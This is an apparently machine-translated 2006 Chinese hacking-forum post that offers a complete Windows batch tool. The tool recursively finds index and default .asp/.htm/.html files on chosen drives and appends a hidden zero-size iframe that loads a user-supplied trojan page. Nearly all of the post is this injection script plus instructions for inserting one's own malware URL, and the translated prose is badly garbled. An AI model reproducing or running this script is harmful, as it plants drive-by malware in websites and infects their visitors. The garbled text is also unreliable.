With a batch of home batch write hung it to the code-vulnerability warning-the black bar safety net

2006-03-10T00:00:00
ID MYHACK58:6220067800
Type myhack58
Reporter 佚名
Modified 2006-03-10T00:00:00

Description

Author: nerve-wracking

Previously in online found a batch of home added to the hanging horse generation to horse software,you have the idea with the batch to achieve this functionality Today I learned the point of the batch,just came up with,not so perfect,or then again...later in the modified Use with this command can be simple to achieve For example: forfiles /p d:\ /m index. asp /s /c "cmd.exe /c if @isdir==FALSE echo code >>@path" /p d:\ represents the search for D disk /m /m index. asp denotes the D drive under Search for files named index. asp file /s search the D drive under all the folders /c here is the search to the file after the command execution this is my execution is if @isdir==FALSE echo code >>@path 其中 @isdir 是 forfiles 的 一 个 参数 表示 搜索 到 的 index.asp 是 文件 时 返回 FALSE(here, be sure to uppercase or not successful) @path is a parameter,represents get the file absolute path do This is only implemented for a file name search,can't search search for multiple,which is known to please advise

The following gives a complete on the specified page names are added to hung it to the Code of the batch Please note that the inside of the said name

@echo off echo welcome to batch insert code batch echo authors: the nerve-wracking 2005-11-7 echo. echo note↓note↓note↓note↓ echo copy the batch before the Notepad word wrap function canceled! Otherwise it will not insert the code. echo and then press the Ctrl+h key to open the Notepad replace function! echo the“Find what”type in"horse"(double quotation marks don't) echo"replacement for"type"your own network of horse address(e.g.:www.snj.com/muma.htm)" echo remember to do not need to enter"http://"otherwise, format a La echo exiting the batch, press Ctrl+c :st echo. echo first step:please select the you need into the search for the drive letter(such as c disk selected"c"). The"h"option for help information. echo. choice /c cdefgh /m c is the C disk,d is the D-pad,e is the E disk,f is the F drive,g for G,h for help. if errorlevel 6 goto h if errorlevel 5 goto g if errorlevel 4 goto f if errorlevel 3 goto e if errorlevel 2 goto d if errorlevel 1 goto c :c echo. echo second step:please select in the"C"drive search you want to insert the Code of the page name(only 6 species). For example(the home page is named index. asp would choose a) echo. choice /c sabcdef /m a is(index. asp),b as(index.htm)c(index.html),d is a(default. asp),e for

(default.htm),f(default.html),"s"is the return on a and options. if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p c:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto c :dhtm forfiles /p c:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto c :dasp forfiles /p c:\ /m default. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto c :ihtml forfiles /p c:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto c :ihtm forfiles /p c:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto c :iasp forfiles /p c:\ /m index. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto c :d echo. echo second step:please select in the"d"disc search you want to insert the Code of the page name(only 6 species). For example(the home page is named index. asp would choose a) echo. choice /c sabcdef /m a is(index. asp),b as(index.htm)c(index.html),d is a(default. asp),e for

(default.htm),f(default.html),"s"is the return on a and options. if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p d:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto d :dhtm forfiles /p d:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto d :dasp forfiles /p d:\ /m default. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto d :ihtml forfiles /p d:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto d :ihtm forfiles /p d:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto d :iasp forfiles /p d:\ /m index. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto d :e echo. echo second step:please select in the"e"disc search you want to insert the Code of the page name(only 6 species). For example(the home page is named index. asp would choose a) echo. choice /c sabcdef /m a is(index. asp),b as(index.htm)c(index.html),d is a(default. asp),e for

(default.htm),f(default.html),"s"is the return on a and options. if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p e:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto e :dhtm forfiles /p e:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto e :dasp forfiles /p e:\ /m default. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto e :ihtml forfiles /p e:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto e :ihtm forfiles /p e:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto e :iasp forfiles /p e:\ /m index. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echoAppear error message is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto e :f echo. echo second step:select the"f"disc search you want to insert the Code of the page name(only 6 species). For example(the home page is named index. asp would choose a) echo. choice /c sabcdef /m a is(index. asp),b as(index.htm)c(index.html),d is a(default. asp),e for

(default.htm),f(default.html),"s"is the return on a and options. if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p f:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto f :dhtm forfiles /p f:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto f :dasp forfiles /p f:\ /m default. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto f :ihtml forfiles /p f:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto f :ihtm forfiles /p f:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto f :iasp forfiles /p f:\ /m index. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto f :g echo. echo second step:please select to"g"disc search you want to insert the Code of the page name(only 6 species). For example(the home page is named index. asp would choose a) echo. choice /c sabcdef /m a is(index. asp),b as(index.htm)c(index.html),d is a(default. asp),e for

(default.htm),f(default.html),"s"is the return on a and options. if errorlevel 7 goto dhtml if errorlevel 6 goto dhtm if errorlevel 5 goto dasp if errorlevel 4 goto ihtml if errorlevel 3 goto ihtm if errorlevel 2 goto iasp if errorlevel 1 goto st :dhtml forfiles /p g:\ /m default.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto g :dhtm forfiles /p g:\ /m default.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto g :dasp forfiles /p g:\ /m default. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto g :ihtml forfiles /p g:\ /m index.html /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above lineCommand not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto g :ihtm forfiles /p g:\ /m index.htm /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto g :iasp forfiles /p g:\ /m index. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" rem note! If you copy the above line command not in a row, please make your own way into the line. echo error prompt is due to be written to the file path is a folder name the echo command has finished~congratulations on the code insert all.... and echo a carriage return after the return and menu pause goto g :h echo usage is very simple! But in tell you use before you please note a few places echo 1:copy the batch before the Notepad word wrap function canceled,because the key command must be one line to execute. echo 2:Press Ctrl+h key to open the Notepad replace function! The“Find what”type in"horse"(double quotation marks don't) echo"replacement for"type"your own network of horse address(e.g.:www.snj.com/muma.htm)" echo remember to make sure that do not need to enter"http://"because the command has already entered a echo 3:Use method... echo before you see the need to pay attention to the local and the network equine address after the replacement echo first select the one you want to find the home page file a disk name(such as“C”drive then press C) echo then according to the prompt and then select you want to this disc in the search of the home page file name(such as"index. asp"is selected a) echo completed the above two steps you can wait for the success prompt! Speed according to the disk contents of the file how many depending echo 4:the batch didn't use variables, so the use of a single. Mainly in order to be in a batch completed echo which, if written out with a variable in place of optional items of the batch recall plus I QQ leave a message to me echo QQ:4 4 7 2 2 8 4 3 7 out Be sure to leave a message?) echo 5:Enter will jump to the main options pause goto st

Will the above code to copy into Notepad to save,the Notepad extension to. bat run it Note before copying to the Notepad's"word wrap"feature is removed,otherwise it will error Also I just found out that if directly in a web page copy this key code forfiles /p g:\ /m index. asp /s /c "cmd.exe /c if @isdir==FALSE echo ^</html^>^<iframe

src="http:// 马 儿" name="zhu" width="0" height="0" frameborder="0"^> >>@path" In Notepad as shown above is displayed,if not put him into the line while the batch is not running. So I put the batch stored for. jpg Picture format and stored in online. Everyone to visit the pictures below address the full selection page,in the copy,and then paste in Notepad format on the right,to the BAT running on the line,if it is not running that is you in the pre-replication didn't take Notepad's"word wrap"feature is removed After removing the Try...in a wordy sentence can not run is definitely above that line of code not in a line due to... See batch